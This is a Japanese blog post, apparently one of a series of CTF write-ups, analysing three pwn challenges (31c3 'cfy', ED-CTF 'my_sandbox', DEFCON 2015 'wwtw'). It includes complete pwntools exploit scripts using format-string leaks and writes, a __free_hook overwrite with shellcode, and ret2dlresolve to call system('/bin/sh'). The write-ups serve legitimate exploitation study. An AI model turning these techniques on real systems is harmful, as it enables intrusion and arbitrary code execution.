pwn challenges list easy writeup その7
前回
[31c3 CTF 2014] pwn10 - cfy
ELF 64bit、動的リンク、NX有効。
% file cfy cfy: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=f023c69bba5f53464912a2501e87fb098e19af5d, not stripped % checksec cfy [*] '/home/hnoson/ctf/31c3ctf/cfy/cfy' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
解析結果
long long from_dec(char *buf) { return strtoll(buf, NULL, 10); } long long from_hex(char *buf) { return strtoll(buf, NULL, 16); } long long from_ptr(char *buf) { return **(long long **)(buf); } void (*)() parsers[3] = [from_hex, from_dec, from_ptr]; // 0x601080 char buf[0x400]; // 0x6010e0 int main(void) { for (;;) { menu(); fgets(buf, 0x400, stdin); if (sscanf(buf, "%d", &choice) != 1) { puts("sscanf failed."); break; } if (choice == 3) break; printf("\nPlease enter your number: "); fflush(stdout); fgets(buf, 0x400, stdin); long long res = parsers[choice](buf); printf("dec: %lld\n", res); printf("hex: %llx\n", res); puts(""); fflush(stdout); } puts("have a nice day"); return 0; }
数値を入力して選択肢を選んでいるが数値のチェックが行われていないためアドレスのわかる関数なら任意の関数を実行することができる。自分はbuf
に関数のアドレスを置いてそこへのオフセットを入力することで関数を実行したが、PLTにある関数を直接呼ぶこともできるはず。printfがPLTにあるため、%p
, %s
でアドレスのリーク、%n
で任意のアドレスへ書き込みが行える。よって、stackのアドレスをリークすることでROPを行うことができる。ただlibcが与えられていないため、リークしたアドレスからlibc内にあるsystem
などの関数をオフセットから計算することはできない(ローカルでは使っているlibcがわかるため可能)。そこでret2dlresolveによって必要な関数のアドレスを解決させる。詳しい説明はももいろテクノロジーさんの記事に譲ります。
buf
に偽のシンボルテーブルを作り_dl_runtime_resolveの引数にそこへのオフセットを渡すことでsystem
関数を解決させシェルを起動した。
#!/usr/bin/env python from pwn import * def select(num, data): s.sendlineafter('quit\n', str(num)) s.sendlineafter('number: ', data) def execute(addr, arg): choice = (elf.symbols['buf'] - elf.symbols['parsers'] + 0x50) >> 4 select(str(choice), arg.ljust(0x50, '\0') + p64(addr)) def overwrite(addr, data): for i in range(len(data)): select(1, str(addr + i)) execute(elf.symbols['printf'], '%{}x%7$hhn'.format(ord(data[i]) + 0x100)) if __name__ == '__main__': s = process('./cfy') elf = ELF('./cfy') pop_rdi = 0x400993 dl_runtime_resolve = 0x4005c0 buf_addr = 0x6010e0 rel_base = 0x4004d8 sym_base = 0x4002c0 str_base = 0x4003c8 execute(elf.symbols['printf'], '%11$p/') stack_addr = int(s.recvuntil('/')[:-1], 16) - 0xe0 log.info('stack address: %#x' % stack_addr) select(1, str(0x601008)) execute(elf.symbols['printf'], '%7$s/') link_map = u64(s.recvuntil('/')[:-1].ljust(8, '\0')) log.info('link map address: %#x' % link_map) overwrite(link_map + 0x1c8, p64(0)) payload = '' payload += p64(pop_rdi) + p64(buf_addr + 0x200) payload += p64(dl_runtime_resolve) payload += p64((buf_addr + 0x110 - rel_base) // 0x18) overwrite(stack_addr, payload) payload = '' payload += '\0' * 0x110 payload += p64(buf_addr) payload += p32(7) + p32((buf_addr + 0x150 - sym_base) // 0x18) payload = payload.ljust(0x150, '\0') payload += p32(buf_addr + 0x180 - str_base) + p32(0x12) payload = payload.ljust(0x180, '\0') payload += 'system\0' payload = payload.ljust(0x200, '\0') payload += '/bin/sh\0' select(0, payload) s.sendlineafter('quit\n', '3') s.recvline() s.interactive()
[ED-CTF] my_sandbox
常設らしいけど今は運営されていないので書きます。
ELF 32-bit、動的リンク、RELRO以外無効。libcが与えられているがおそらく古いため手元では使えない。
$ file my_sandbox my_sandbox: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=44ab05f5782a9a5dbae69dd6acea3741c79f7b01, stripped $ checksec my_sandbox [*] '/home/hnoson/ctf/edctf/my_sandbox/my_sandbox' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
$ ./my_sandbox Your name please: hnoson Welcome to my echo program! This program has an bug. I couldn't fix this bug... :( But, I developed sandbox for this bug. Hackers will never be able to get shell, haha! :) Enter your message: %pAAAA Entered: (nil)A Enter your message: Entered:
FSBがある。これでlibcのアドレスをリークできる。また最初に入力する名前は.bssに格納されるため__free_hook
をそのアドレスで上書きしてシェルコードを実行した。
#!/usr/bin/env python from pwn import * if __name__ == '__main__': context.arch = 'x86' # s = process('./my_sandbox', env = {'LD_PRELOAD': './libc.so.6'}) s = process('./my_sandbox') s.sendafter('Your name please: ', asm(shellcraft.sh())) s.sendlineafter('Enter your message: ', '%1312$p' + 'A' * 0x10) libc_base = int(s.recvuntil('AAA')[len('Entered: '):-3], 16) - 0x143d20 log.info('libc base: %#x' % libc_base) # libc = ELF('./libc.so.6') libc = ELF('/lib32/libc.so.6') payload = '' for i in range(4): payload += p32(libc_base + libc.symbols['__free_hook'] + i) prev = len(payload) for i in range(4): curr = ord(p32(0x804a040)[i]) payload += '%{}x'.format(((curr - prev) & 0xff) + 0x100) payload += '%{}$hhn'.format(i + 6) prev = curr s.sendlineafter('Enter your message: ', payload) s.interactive()
[DEFCON CTF 2015] wibbly wobbly timey wimey - Pwnable 2
ELF 32-bit、動的リンク、RELRO以外有効。
$ file wwtw wwtw: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=0c5fe6964f6e75a50221016235fc68a869c5cf50, stripped $ checksec $_ [*] '/home/hnoson/ctf/defconctf/2015/wwtw/wwtw' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
まず始めに(^V<>)からEを目指すゲームのようなものが現れる。これは適当にAにぶつからないようにEの方向に進めば高い確率で抜けられる。
$ ./wwtw You(^V<>) must find your way to the TARDIS(T) by avoiding the angels(A). Go through the exits(E) to get to the next room and continue your search. But, most importantly, don't blink! 012345678901234567890 00 01 A 02 A 03 04 E 05 A 06 07 A 08 09 10 A A 11 A 12 13 14 15 16 17 18 A A 19 A ^ A Your move (w,a,s,d,q):
次にKEYを聞かれる。
$ ./wwtw ... TARDIS KEY:
0xeb8
の関数を見てみると
int func() { for (int i = 0, n = 0; n < 10; i++) { char a = ((unsigned char *)func)[i] & 0x7f; if (isalnum(a)) { char b; read(0,&b,1); if (a != b) return 1; n++; } } return 0; }
をしているのでこれをpythonに書き直して突破する。
次に進むと時間外のためアクセスできないというメッセージが出る。
$ ./exploit.py [+] Starting local process './wwtw': pid 17449 [*] Switching to interactive mode Welcome to the TARDIS! Your options are: 1. Turn on the console 2. Leave the TARDIS Selection: 1 Access denied except between May 17 2015 23:59:40 GMT and May 18 2015 00:00:00 GMT Your options are: 1. Turn on the console 2. Leave the TARDIS Selection:
コードに戻ってみるとudp通信をしていることがわかる(下図参照。socketの第二引数が2なのでudp)。また、通信先は127.0.0.1:1234
。
さらに読み進めるとwrite(sock, "", 1)
をした後にread(sock, token, 4)
をしていた。このtokenがある値の範囲にあると先ほどのAccess denied
は出ないで次に進める。CTF本番ではサーバ側からudp通信がされていたことを期待して手元からudpパケットを送った。
追記:
実際にudpパケットは送られていたらしい。ただ正しい値が送られるのはCTF終了の20分前から。
オーバーフローでsockの値を書き換えられるらしいが、その後にudp通信をする部分がないと思ったら
2秒おきにwrite(sock, "", 1)
-> read(sock, token, 4)
が繰り返されている(0x565b6bcbはその関数のアドレス)。alarmにこんな使い方があったか…
ということでsockを0に書き換えてから数秒待ち、正しいtokenを送ると認証される。
次は座標を与えると浮動小数点で表示する。
$ ./exploit.py [+] Starting local process './wwtw': pid 19103 [*] Switching to interactive mode Welcome to the TARDIS! Your options are: 1. Turn on the console 2. Leave the TARDIS Selection: $ 1 The TARDIS console is online!Your options are: 1. Turn on the console 2. Leave the TARDIS 3. Dematerialize Selection: $ 3 Coordinates: $ 1,1 1.000000, 1.000000 You safely travel to coordinates 1,1
x座標とy座標をそれぞれ何かの値と比較している。左の分岐に行くとFSBの脆弱性がある。(jp
はアンダーフローしたときに分岐する。)
デバッガでそれぞれの値を確認して入力したら左の分岐に行くことができた。
あとはFSBを使ってret2dlresolveをしてシェルを起動する。
#!/usr/bin/env python from pwn import * def find(field, cset): for i in range(20): for j in range(20): if field[i][j] in cset: return (i, j) def escape(): while s.recv(6) != 'TARDIS': s.recvuntil('90\n') field = [s.recvline(False)[3:] for i in range(20)] s.recvuntil('q): ') vi, vj = find(field, '^V<>') ei, ej = find(field, 'ET') if vi < ei and field[vi+1][vj] != 'A': s.sendline('s') continue if vi > ei and field[vi-1][vj] != 'A': s.sendline('w') continue if vj < ej and field[vi][vj+1] != 'A': s.sendline('d') continue if vj > ej and field[vi][vj-1] != 'A': s.sendline('a') continue if vi < 19 and field[vi+1][vj] != 'A': s.sendline('s') continue if vi > 0 and field[vi-1][vj] != 'A': s.sendline('w') continue if vj < 19 and field[vi][vj+1] != 'A': s.sendline('d') continue if vj > 0 and field[vi][vj-1] != 'A': s.sendline('a') continue print 'You are dead.' exit(1) def enterkey(): data = "U\x89\xe5S\x83\xec$\xe8\xdc\xfb\xff\xff\x81\xc3<A\x00\x00\xc7E\xf0\x00\x00\x00\x8d\x83\x06\xe0\xff\xff\x89\x04$\xe8\xa1\xf9\xff\xff\x8b\x83\xf0\xff\xff\xff\x8b\x00\x89" key = '' for c in data: c = chr(ord(c) & 0x7f) if c.isalnum(): key += c if len(key) == 10: break s.sendlineafter('KEY: ', key) def fsb(payload): coordinates = '51.492137,-0.192878 ' s.sendlineafter('Coordinates: ', coordinates + payload) s.recvuntil(coordinates) return s.recvuntil(' is')[:-3] def overwrite(target, data): for i, d in enumerate(data): payload = '' payload += p32(target + i) payload += '%{}x'.format(((ord(d) - 24) & 0xff) + 0x100) payload += '%20$hhn' fsb(payload) def main(): escape() enterkey() # I hope udp packets were being sent from localhost:1234 at the target server, # otherwise I can't solve it. # edit: I could. ''' sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.bind(('127.0.0.1', 1234)) _, address = sock.recvfrom(1) sock.sendto(p32(0x55592b70), address) ''' s.sendlineafter('Selection: ', '1' * 8 + '\0') time.sleep(3) s.send(p32(0x55592b70)) s.sendlineafter('Selection: ', '1') s.sendlineafter('Selection: ', '3') stack_addr = int(fsb('%8$p'), 16) + 0x3d8 log.info('stack address: %#x' % stack_addr) text_base = int(fsb('%161$p'), 16) - 0x559 log.info('text base: %#x' % text_base) dl_runtime_resolve = 0x850 reloc_base = 0x72c symtab_base = 0x1e0 strtab_base = 0x4a0 bss = 0x5550 payload = '' payload += p32(text_base + dl_runtime_resolve) payload += p32(bss - reloc_base) payload += 'A' * 4 payload += p32(text_base + bss + 0x27) overwrite(stack_addr, payload) payload = '' payload += p32(bss) + p32((bss - symtab_base + 0x10 << 4) + 0x7) payload += 'A' * 8 payload += p32(bss - strtab_base + 0x20) payload += 'B' * 0x8 payload += p32(3) payload += 'system\0' payload += '/bin/sh\0' overwrite(text_base + bss, payload) s.sendlineafter('Coordinates: ', '0,0') s.recvuntil('0,0\n') s.interactive() if __name__ == '__main__': s = process('./wwtw') main()
本質はret2dlresolveなのに無駄なパートが多すぎる…
3連続FSBというのも珍しい。
続き